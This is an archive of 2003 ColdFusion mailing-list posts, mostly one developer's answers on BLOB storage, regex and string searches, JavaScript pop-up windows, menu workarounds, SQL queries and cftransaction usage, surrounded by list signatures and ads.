Jim thank you for your insight. Those seem like pretty good arguments in both directions. Don, thanks also for your input. There always seems to be a solution/work around to most obsticles in software development! :) Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ Help STOP SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Signup for the Fusion Authority news alert and keep up with the latest news in ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: BLOBs and CF
Ben said: I'd have to agree with Paul on this one. In one of the new issues of aspNetPro magazine there is an article about storing files in your Database. It is becoming more common to store images, files etc.. in your DB rather than just putting a link to the file. Security is handled by the DB as well so you don't worry as much about setting up secure directories. Ben, do you have the details on that issue of aspNetPro mag? Since this will most likely end up using SQL Server that article may be very pertinent. The DB giants (Oracle,MS) obviously offer BLOBs as a datatype for a reason. It has always been my personal practice to store the links to the file in the DB and the actual files in the file system. After reading the comments on both sides here I am beginning to think differently. I am still concerned with the eventual size of the db if I store everything in there. On the other hand using the system in a clustered may pose a problem although I haven't fully investigated how one of the large DB vendors handle replication etc. across the cluster. I agree that storing the files in the DB offers higher level of protection of the files and that is a key point as far as I see. Thanks again for all those who have contributed to this discussion so far. It is much appreciated. Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ The new MSN 8: advanced junk mail protection and 2 months FREE* http://join.msn.com/?page=features/junkmail ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq This list and all House of Fusion resources hosted by CFHosting.com. The place for dependable ColdFusion Hosting. http://www.cfhosting.com Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
OT: BLOBs and CF
This is a slightly OT question and I know it has been debated before but we have a client that is intent on having us store all their files in a DB and I can not for the life of me come up with any good reason to do that. So I would like to ask the community to help me out here: What are the Pros and Cons of storing files as BLOBs? And What are the Pros and Cons of storing files in the file system with the names stored in the DB? Files can be of any MIME type and of various sizes. Any assistance with this will be greatly appreciated. Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ Add photos to your messages with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq This list and all House of Fusion resources hosted by CFHosting.com. The place for dependable ColdFusion Hosting. http://www.cfhosting.com Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: JS question / DOM hiding all elements in square area
Okayeverytime I say something like this I can feel the cringe running through the community! *L* But here goes, this has been a very helpful guide for me in developing code to solve this problem. This is an IE specific solution but you will get the idea of what is being done to implement it on your own for whatever browser (NN6+ etc) On Microsoft.com, check out the toolbar.js script, there are two function hideElement(elmid) and showElement(elmID) these do what you want. You have to view the source of the page and grab the toolbar.js file. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ The new MSN 8: smart spam protection and 2 months FREE* http://join.msn.com/?page=features/junkmail ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Get the mailserver that powers this list at http://www.coolfusion.com Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: JS question / DOM hiding all elements in square area
Ironically.that example at DHTMLCentral does not work. http://www.dhtmlcentral.com/projects/webcronize/examples/hide_selecboxes_and_form_example.html Another thoughthow about placing the element on a div then resizing the div (using the clip attribute), that would hide the element that is placed on it. The only problem the DIV must have a position attribute set to ABSOLUTE. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ The new MSN 8: smart spam protection and 2 months FREE* http://join.msn.com/?page=features/junkmail ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Your ad could be here. Monies from ads go to support these lists and provide more resources for the community. http://www.fusionauthority.com/ads.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: JS question / DOM hiding all elements in square area
This solution has only been tested in IE 6. There are a few little quirks in it because of the implementation but I didn't spend too much time cleaning it up http://www.islandwizards.com/tests/dhtml/simplemenu_selects.cfm HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ STOP MORE SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Host with the leader in ColdFusion hosting. Voted #1 ColdFusion host by CF Developers. Offering shared and dedicated hosting options. www.cfxhosting.com/default.cfm?redirect=10481 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: More Refindnocase woes
cfset findthis = UK,Australia,South Africa cfset inthis = UK Hello and welcome to b the list/b.australia south africa This is it! Cfloop list=#findthis# delimiters=, index=i cfset customSearch = Refindnocase(#i#,inthis, 1) Cfif CustomSearch GT 0 Cfoutput Found #i# /CFOUTPUT !--- when the first item is found break out of the loop --- cfbreak /cfif /cfloop Also, you do not need to use ReFindNoCase since you are not using a regular expression, you can simply use FindNoCase the syntax is basically the same. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. Original Message Follows From: W Luke [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Subject: More Refindnocase woes Date: Mon, 2 Jun 2003 20:51:47 +0100 Right, I'm having a dead-brain moment here. The code below may not be the best, but it does its job well enough apart from the problem I'm having, of course :) cfset findthis = UK,Australia,South Africa cfset inthis = UK Hello and welcome to b the list/b.australia south africa This is it! Cfloop list=#findthis# delimiters=, index=i cfset customSearch = Refindnocase(#i#, inthis, 1) Cfif CustomSearch GT 0 Cfoutput Found #i# /CFOUTPUT /cfif /cfloop I need to keep the cfloop as it is really, so any changes would best be done in the refindnocase itself if that's possible. The problem is that in this example, #i# would find all 3. I only ever want it to return the first *found* country. I'm already limiting the text-to-be-searched by 30 characters, but on occasions, more than 1 country is being found and it's just making things screw up. What I want to tell it, is: Find one of these countries, but make sure if you find more than one that you only choose the one the farthest to the left! Can anyone decipher my question/problem, let alone suggest a solution? Cheers Will ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq This list and all House of Fusion resources hosted by CFHosting.com. The place for dependable ColdFusion Hosting. http://www.cfhosting.com Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: regex help needed
Untested code but something like this should work: cfset str = dllCall1%---session|errorTrap|DetailNumeric---%EndDLLCall cfset extracted = #mid(str,findnocase(%---,str) + 4,findnocase(---%,str) - (findnocase(%---,str) + 4))# Basically, find the index of the first occurence of the open delimiter add 4 to it to get the index of the first character after that string, then find the index of the end delimiter, find the number of characters between the two values and then use MID to return the string. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. Original Message Follows From: Michael Tangorre [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Subject: regex help needed Date: Mon, 2 Jun 2003 14:19:56 -0400 Can someone assist me in writing the following regex... I have a string, varies in length and I need to pull out of the string all the characters between: %--- and ---% An example of what this string might look like is: dllCall1%---session|errorTrap|DetailNumeric---%EndDLLCall I need to pull: %---session|errorTrap|DetailNumeric---% The surroudning text will always vary in length depending upon results Thanks, Michael Tangorre [EMAIL PROTECTED] www.realmagnet.com work - 202-244-7845 fax - 202-244-7926 cell - 607-426-9277 ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Your ad could be here. Monies from ads go to support these lists and provide more resources for the community. http://www.fusionauthority.com/ads.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Mailing list trouble
You are only returning records from the DB where hourcounter maxhour so the test in the CF loop will always fail. SELECT * FROM Feeds,cemails WHERE Feeds.Sent = 0 AND pin = 0 AND instant = 1 AND hourcounter maxhour AND pemail = '[EMAIL PROTECTED]' HTH Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ Help STOP SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Signup for the Fusion Authority news alert and keep up with the latest news in ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Finding multiple items (without cfloop)
Use regular expressions: #refind(this|other|about,Blah other blah...string is about 150 chars,1)# This will return the index of the first match. That is it will return 6 since other was found at position 6 of the string. REFIND and REFINDNOCASE allow for searching using regular expressions in CF, it does not support the full range of regular expression matching but it is quite extensive. #refind(regular expression, string, start)# You can find more about regular expressions at: http://devedge.netscape.com/library/manuals/2000/javascript/1.5/guide/regexp.html HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ STOP MORE SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Signup for the Fusion Authority news alert and keep up with the latest news in ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Mailing list trouble
No probs. Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. Original Message Follows From: W Luke [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Subject: Re: Mailing list trouble Date: Sun, 1 Jun 2003 00:02:45 +0100 Donnie Bachan [EMAIL PROTECTED] wrote in message news:[EMAIL PROTECTED]... You are only returning records from the DB where hourcounter maxhour so the test in the CF loop will always fail. Oops...thanks Donnie Will ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Signup for the Fusion Authority news alert and keep up with the latest news in ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: runtime local var scope.
Use the variables scope for local stuff. cfset variables.someVariables = something Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*. http://join.msn.com/?page=features/virus ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Your ad could be here. Monies from ads go to support these lists and provide more resources for the community. http://www.fusionauthority.com/ads.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: RE: Making the MX Popup Menu Javascript Dynamic
Another fairly striaghtforward way is (at least in IE, I have not tested it on Netscape or Opera) is to hide the form element (SELECT or OBJECT) that is below the menu. I know this may not be a popular solution but go to microsoft.com and do a full save of the page, you will see toolbar.js, there are functions called hideElement and showElement which shows how they accomplish this. I do not see why this same method should not work using NS6+ or Opera 6+ as well. As I said before, it may not be a popular solution but it is one work around. HTH Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ Tired of spam? Get advanced junk mail protection with MSN 8. http://join.msn.com/?page=features/junkmail ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Get the mailserver that powers this list at http://www.coolfusion.com Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: quick java open window ?
Never used the function before but what does the MM function actually look like? Post the code and I may be able to assist. Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ Help STOP SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Signup for the Fusion Authority news alert and keep up with the latest news in ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: quick java open window ?
With the code given you can not (or as far as I know you can't) open the location in a new window. You will need to write your own function: function fnOpenWin(url) { var win = open(url,'myWin','toolbar=1,menubar=1,scrollbars=1,status=1,top=0,left=0,width=800,height=600'); } This will pop up a new window with the location. You can change how the window looks by changing the values for toolbar etc. You can make the function more customizable by passing the width,height,top and left values to the function. To call the function:: onClick=fnOpenWin('somepage.cfm'); HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. Original Message Follows From: Dave Lyons [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Subject: Re: quick java open window ? Date: Fri, 30 May 2003 02:52:59 -0400 function MM_goToURL() { //v3.0 var i, args=MM_goToURL.arguments; document.MM_returnValue = false; for (i=0; i(args.length-1); i+=2) eval(args[i]+.location='+args[i+1]+'); } - Original Message - From: Gunther Ahamer [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Friday, May 30, 2003 2:47 AM Subject: RE: quick java open window ? can you post the MM_goToURL javascript function and i can fix it for you... -Original Message- From: Dave Lyons [mailto:[EMAIL PROTECTED] Sent: Friday, 30 May 2003 4:44 PM To: CF-Talk Subject: Re: quick java open window ? thank but i already have:( - Original Message - From: Gunther Ahamer [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Friday, May 30, 2003 2:40 AM Subject: RE: quick java open window ? try '_blank' ? -Original Message- From: Dave Lyons [mailto:[EMAIL PROTECTED] Sent: Friday, 30 May 2003 4:33 PM To: CF-Talk Subject: ot: quick java open window ? how do i mod this to open in a new window? I tried changing the parent to blank but only got errors gracias p class=PANWOUT onClick=MM_goToURL('parent','sendtofriend/send.to.friend.cfm');return document.MM_returnValue onMouseOver=pviiClassNew(this,'PANWOVER') onMouseOut=pviiClassNew(this,'PANWOUT')Tell your friends about RMFlyFisher.com! ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Host with the leader in ColdFusion hosting. Voted #1 ColdFusion host by CF Developers. Offering shared and dedicated hosting options. www.cfxhosting.com/default.cfm?redirect=10481 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: quick java open window ?
*LOL*...no probs...as long as you found a solution! Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ Add photos to your messages with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Host with the leader in ColdFusion hosting. Voted #1 ColdFusion host by CF Developers. Offering shared and dedicated hosting options. www.cfxhosting.com/default.cfm?redirect=10481 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Populating Related Tables in Coldfusion
How about having a separate interface for assigning permissions to groups. Since, I assume, that a group will only have one permission level. When you create a group, assign it a permission. When you create the user you only need to assign that user to groups and the user will inherit the permission set for the groups assigned. HTH Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ STOP MORE SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Signup for the Fusion Authority news alert and keep up with the latest news in ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Populating Related Tables in Coldfusion
I see what you want now. How about having a list of the groups as checkboxes, next to each group you have a single select box with permissions. When you select a group you select the permission next to the group: Username: formelement blah blah Groups: checkbox Group1 selectbox with all permissions User Permission For Group 1 checkbox Group2 selectbox with all permissions User Permission For Group 2 checkbox Group3 selectbox with all permissions User Permission For Group 3 Name the checkboxes and permission selects something like Group#GroupID# Persmission#GroupID# So when you are processing the page you can assign the correct permission to the correct group for the user. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ Tired of spam? Get advanced junk mail protection with MSN 8. http://join.msn.com/?page=features/junkmail ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq This list and all House of Fusion resources hosted by CFHosting.com. The place for dependable ColdFusion Hosting. http://www.cfhosting.com Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: cftransaction cftry order
I would go with: cftry cftransaction /cftransaction cfcatch /cfcatch /cftry Since you want to catch the error that occurred as a result of the statements within the transaction. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*. http://join.msn.com/?page=features/virus ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Get the mailserver that powers this list at http://www.coolfusion.com Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Old Version of CF $erver
Try Ebay. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: New Mail Notification in Outlook
How about using a Hotmail (webmail) account for your mailing lists. For business and other mail that may require immediate attention I use Outlook, for everything else I use webmail. I know this is not the answer you are looking for but it is how I get around the problem. Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4 Subscription: http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Signup for the Fusion Authority news alert and keep up with the latest news in ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm
Re: CFMX Idea incubator
This library does indeed have some very powerful features and I am sure that there is a JSP lib out there that already makes use of the methods that you are looking for, but there is one small problem, at least I think it may be a problem, this library appears in Java 2 Standard Edition 1.4 but I do not think that MX support only goes up to 1.3.x. Now I don't see this as a real problem because you can tell MX which compiler you want to use even if you are using the 1.4 version but it is something that should be noted nevertheless. It is a good idea though and worth investigation. Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. __ Get the mailserver that powers this list at http://www.coolfusion.com FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: URL Variables in the form of index.cfm?DJIE332
#CGI.QUERYSTRING# returns everything after the ? in the URL, if you have a list of values of the fomat http://www.mysite.com?DE1122HF3433HG3454, CGI.QUERYSTRING would return DE1122HF3433HG3454, you can then break it up as a list delimited by ''. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. __ Your ad could be here. Monies from ads go to support these lists and provide more resources for the community. http://www.fusionauthority.com/ads.cfm FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: Getting datatype before SELECT
If you use Sybase you can query SYSColumns (SQL Server would be the same I guess since they were spawned from the same engine initially). SYSColumns contains a row for every column of every table and view. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. __ Get the mailserver that powers this list at http://www.coolfusion.com FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: replace double quotes - syntax help
Where are the double quotes located within the javascript? You can escape characters in javascript by using the \ before the character so to escape a double quote in a string use \. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. __ Your ad could be here. Monies from ads go to support these lists and provide more resources for the community. http://www.fusionauthority.com/ads.cfm FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: OT: Java for beginners?
